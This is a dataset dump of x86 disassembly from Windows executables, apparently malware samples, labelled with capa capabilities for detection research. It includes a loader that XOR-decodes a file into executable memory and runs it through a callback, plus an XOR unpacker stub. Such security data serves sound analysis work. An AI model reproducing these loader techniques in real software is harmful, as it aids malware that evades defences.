joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405f14
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x7a128c], 0
push esi
jne 0x405f4b
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405f25
mov dword [ecx*4 + 0x7a1288], eax
inc ecx
cmp ecx, 0x100
jl 0x405f20
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405f7c
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x7a1288]
xor eax, esi
inc ecx
dec edx
jne 0x405f5e
pop edi
not eax
pop esi
ret 0xc
Function at 0x10001ee0
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xf67c4
call fcn.10018780
push esi
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
push str.C:Program_Files__x86_GTR32xz.had
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
lea ecx, [ebp - 4]
push ecx
push eax
lea edx, [ebp - 0xf67c4]
push edx
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
jmp 0x10001f40
xor byte [ebp + eax - 0xf67c4], 0xb6
inc eax
cmp eax, 0xf67c0
jne 0x10001f40
push 0x40
push 0x3000
push eax
push 0
call dword [0x1003b3ec]
mov esi, eax
push 0xf67c0
lea eax, [ebp - 0xf67c4]
push eax
push esi
call fcn.100072d0
add esp, 0xc
push 0
push esi
push 0
call dword [sym.imp.IMM32.dll_ImmEnumInputContext]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10001f90
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xf67c4
call fcn.10018780
push esi
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
push str.C:Program_Files__x86_GTR32_asx.had
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
lea ecx, [ebp - 4]
push ecx
push eax
lea edx, [ebp - 0xf67c4]
push edx
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
jmp 0x10001ff0
xor byte [ebp + eax - 0xf67c4], 0x79
inc eax
cmp eax, 0xf67c0
jne 0x10001ff0
push 0x40
push 0x3000
push eax
push 0
call dword [0x1003b3ec]
mov esi, eax
push 0xf67c0
lea eax, [ebp - 0xf67c4]
push eax
push esi
call fcn.100072d0
add esp, 0xc
push 0
push esi
push 0
call dword [sym.imp.IMM32.dll_ImmEnumInputContext]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10002250
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1002ae6b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xd8
push ebx
push str.C:ProgramDataluio.txt
lea ecx, [esp + 0xc]
call fcn.10002340
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0x2c]
push ecx
mov dword [esp + 0xec], 0
call fcn.10003800
mov edx, dword [esp + 0x28]
mov eax, dword [edx + 4]
cmp dword [esp + eax + 0x34], 0
lea ecx, [esp + 0x90]
sete bl
call fcn.100039a0
lea ecx, [esp + 0x90]
push ecx
mov dword [esp + 0x94], vtable.std::ios_base.0
call fcn.10006690
add esp, 4
test bl, bl
je 0x100022e1
push str.C:Program_Files__x86_GTR32_asx.had
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x100022eb
call fcn.10002040
call fcn.10001f90
call fcn.10001ee0
lea ecx, [esp + 8]
mov dword [esp + 0xe4], 0xffffffff
call fcn.10002410
mov ecx, dword [esp + 0xdc]
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100041a0
Capabilities:
Resolve function by parsing pe exports
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1002abf9
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x60
push ebx
push esi
xor esi, esi
mov dword [esp + 8], esi
push edi
mov dword [esp + 0x10], ecx
cmp dword [ecx + 0x44], esi
je 0x10004383
cmp byte [ecx + 0x49], 0
je 0x10004383
mov eax, dword [ecx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
call edx
cmp eax, 0xffffffff
je 0x1000435e
push esi
push 8
lea ecx, [esp + 0x50]
call fcn.10003c30
mov dword [esp + 0x74], esi
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x4c]
call fcn.10003e20
mov esi, eax
lea ecx, [esp + 0x18]
push ecx
lea ecx, [esp + 0x4c]
mov byte [esp + 0x78], 1
call fcn.10003e20
mov edi, eax
mov ecx, esi
mov byte [esp + 0x74], 2
call fcn.10004990
mov ebx, dword [esp + 0x5c]
mov ecx, edi
mov esi, eax
call fcn.10004990
mov edx, dword [esp + 0x10]
mov ecx, dword [edx + 0x44]
mov edx, dword [ecx]
lea edi, [esp + 0x14]
push edi
mov edi, dword [esp + 0x14]
add ebx, esi
push ebx
push eax
lea eax, [edi + 0x4c]
push eax
mov eax, dword [edx + 0x18]
call eax
lea ecx, [esp + 0x18]
mov esi, eax
mov byte [esp + 0x74], 1
call fcn.100010b0
lea ecx, [esp + 0x24]
mov byte [esp + 0x74], 0
call fcn.100010b0
mov eax, esi
sub eax, 0
je 0x1000429f
dec eax
je 0x100042a3
sub eax, 2
mov dword [esp + 0x74], 0xffffffff
lea ecx, [esp + 0x48]
jne 0x10004359
jmp 0x1000437e
mov byte [edi + 0x49], 0
lea ecx, [esp + 0x30]
push ecx
lea ecx, [esp + 0x4c]
call fcn.10003e20
mov ecx, eax
mov byte [esp + 0x74], 3
call fcn.10004990
mov esi, dword [esp + 0x14]
lea ecx, [esp + 0x30]
sub esi, eax
mov byte [esp + 0x74], 0
call fcn.100010b0
test esi, esi
je 0x1000430c
lea edx, [esp + 0x3c]
push edx
lea ecx, [esp + 0x4c]
call fcn.10003e20
mov byte [esp + 0x74], 4
or dword [esp + 0xc], 1
mov ecx, eax
call fcn.10004990
mov ecx, dword [edi + 0x54]
push ecx
push esi
push 1
push eax
call fcn.10008310
add esp, 0x10
cmp esi, eax
je 0x1000430c
mov bl, 1
jmp 0x1000430e
xor bl, bl
mov dword [esp + 0x74], 0
test byte [esp + 0xc], 1
je 0x1000432b
and dword [esp + 0xc], 0xfffffffe
lea ecx, [esp + 0x3c]
call fcn.100010b0
test bl, bl
jne 0x1000434d
cmp byte [edi + 0x49], bl
je 0x10004372
test esi, esi
jne 0x10004200
push esi
push 8
lea ecx, [esp + 0x50]
call fcn.10003ce0
jmp 0x10004200
mov dword [esp + 0x74], 0xffffffff
lea ecx, [esp + 0x48]
call fcn.10002410
xor al, al
mov ecx, dword [esp + 0x6c]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [esp + 0x74], 0xffffffff
lea ecx, [esp + 0x48]
call fcn.10002410
mov ecx, dword [esp + 0x6c]
pop edi
pop esi
mov al, 1
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10004850
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002aaeb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
push edi
lea ecx, [esi + 4]
mov dword [ebp - 0x14], esi
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.10006b50
push 0x18
push str.D:VS2010VCinclude_streambuf
mov dword [ebp - 4], 0
call fcn.100060e0
push eax
push 4
call fcn.10006010
mov edi, eax
add esp, 0x10
test edi, edi
je 0x100048d4
push ebx
call fcn.100058e0
mov dword [edi], eax
call fcn.100056f0
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.10005580
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x100048c9
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.100055c0
pop ebx
jmp 0x100048d6
xor edi, edi
mov dword [esi + 0x38], edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x1000ca30
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10039450]
jne 0x1000ca3a
repz ret
jmp fcn.10019460
Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
mov ebx, 0x40de38
nop
mov ecx, 0x10fa17e8
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x43304e
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x433024
mov eax, section..rsrc
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x31e06082
nop
nop
test eax, eax
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x402b38
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00404748
test esi, esi
jne 0x402b6e
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00404838
jmp 0x402b8c
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00402a4c
mov edi, eax
test esi, esi
je 0x402b8c
cmp dword [ebx], 0
je 0x402b8c
dec esi
jmp 0x402b75
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x4037a0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x486020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403838
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403818
xor eax, eax
push ebp
push 0x403811
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403854
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403818
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x486020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x486020], ax
mov esp, ebp
pop ebp
ret

Function at 0x4045cc
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x48804c], 0
je 0x40462d
cmp word [0x488220], 0xd7b2
jne 0x4045f5
cmp dword [0x488228], 0
jbe 0x4045f5
mov eax, 0x48821c
call dword [0x488238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x486070
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x404654
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x486030], 0
jne 0x404649
push 0
push 0x486068
push 0x486070
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x406120
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x406350
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x4061a3
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x406350
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x4061a3
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x40636c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x40622c
xor eax, eax
push ebp
push 0x406225
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00405f68
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x40620a
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x40638c
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x40620a
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40622c
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x406346
cmp byte [ebp - 0xd], 0
jne 0x406273
cmp byte [ebp - 0x12], 0
je 0x406346
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x40628c
dec ebx
cmp byte [ebx], 0x2e
je 0x40629b
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x40628b
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x406346
inc ebx
cmp byte [ebp - 0x12], 0
je 0x4062d8
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x406346
cmp byte [ebp - 0xd], 0
je 0x406346
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x406346
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406a34
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x406a9a
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.004049b8
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.004031cc
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x406a84
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406aa1
lea eax, [ebp - 0x10]
call fcn.00404748
ret

Function at 0x40c380
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40c3b9
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00404838
jmp 0x40c3c2
mov eax, ebx
mov edx, esi
call fcn.0040479c
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40c3cc
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40c3ed
mov al, byte [esp]
jmp 0x40c3ef
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40ca74
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40c8ec
mov eax, dword [0x487a84]
cmp byte [eax], 0
je 0x40caf0
mov eax, dword [0x4877bc]
call fcn.00402f84
call fcn.00402978
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00409508
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40cb38
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40cb26
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x487748]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x488668]
call fcn.00405f2c
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x40d3f8
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40d4ce
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 8]
mov edx, ebx
call fcn.004047e0
lea eax, [ebp - 8]
call fcn.00404c58
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404c08
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40d4b8
mov eax, ebx
call fcn.00402810
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40d4b1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404c08
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40d49b
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40d4e0
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40d49b
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d4b8
mov eax, dword [ebp - 0x10]
call fcn.00402830
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d4d5
lea eax, [ebp - 8]
call fcn.00404748
ret

Function at 0x40d990
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40d9f4
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.004049b8
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00408fac
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d9fb
lea eax, [ebp - 0xc]
call fcn.00404748
ret

Function at 0x424ae4
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x488888
cmp dword [edi], 0
jne 0x424b60
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x488884]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x4866cc
mov ecx, 2
call fcn.00402a0c
mov edx, 0x424abc
lea eax, [esi + 5]
call fcn.00424adc
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.00424adc
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x424b35
mov dword [0x488884], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x425d74
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x425d7a
ret
Function at 0x4281bc
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x42820d
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x4281f4
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x4281e4
jmp 0x42820d
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x4281f5
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43273c
Capabilities:
Enumerate gui resources

Disassembly:
mov byte [eax + 0xc], 0
mov byte [eax + 0xd], 0
xor edx, edx
mov dword [eax + 4], edx
push eax
push 0x432688
call sub.user32.dll_EnumWindows
ret

Function at 0x43285c
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x4328d9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.004322bc
call sub.kernel32.dll_GetTickCount
mov ebx, eax
push 0
call sub.kernel32.dll_Sleep
call sub.kernel32.dll_GetTickCount
sub eax, ebx
cmp eax, 0x3e8
jbe 0x432881
lea ecx, [ebp - 4]
xor edx, edx
mov eax, esi
call fcn.00431ebc
cmp dword [ebp - 4], 0
je 0x4328c3
push 0
push 9
mov eax, dword [ebp - 4]
call fcn.00404c08
push eax
mov eax, dword [esi + 0x1c]
mov edx, dword [eax]
call dword [edx + 0xc]
push eax
call sub.user32.dll_WinHelpA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4328e0
lea eax, [ebp - 4]
call fcn.00404748
ret

Function at 0x43557c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 9]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], edx
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [0x488b58], 0
je 0x4356cb
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
mov edx, dword [0x4879fc]
mov edx, dword [edx]
xor al, byte [edx + 0xb4]
je 0x4356cb
mov eax, dword [0x488b5c]
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [0x488b58]
mov ebx, dword [eax + 8]
dec ebx
test ebx, ebx
jl 0x43569a
inc ebx
xor edi, edi
mov edx, edi
mov eax, dword [0x488b58]
call fcn.0041d210
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
je 0x435692
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x1a6], 0
je 0x435692
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x50]
test al, al
je 0x435692
mov eax, dword [ebp - 0x14]
call fcn.0043e0e0
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x435692
push ebp
call fcn.00435538
pop ecx
test al, al
jne 0x435692
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xa0]
cmp eax, dword [ebp - 0x14]
jne 0x43564e
mov eax, dword [ebp - 0x14]
call fcn.0043cc10
dec eax
jle 0x435692
mov byte [ebp - 1], 1
lea eax, [ebp - 9]
push eax
lea eax, [ebp - 1]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffbd
call fcn.00403b2c
cmp byte [ebp - 1], 0
je 0x435692
push dword [ebp - 5]
push dword [ebp - 9]
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_PtInRect
test eax, eax
je 0x435692
mov edx, dword [ebp - 0x14]
mov eax, dword [0x488b5c]
call fcn.00434d04
inc edi
dec ebx
jne 0x4355e1
mov eax, dword [0x488b5c]
cmp dword [eax + 8], 0
jle 0x4356b2
mov eax, dword [0x488b5c]
call fcn.00434d94
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4356cb
push ebp
mov eax, dword [ebp - 0x18]
call fcn.004353a0
pop ecx
test al, al
jne 0x4356cb
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret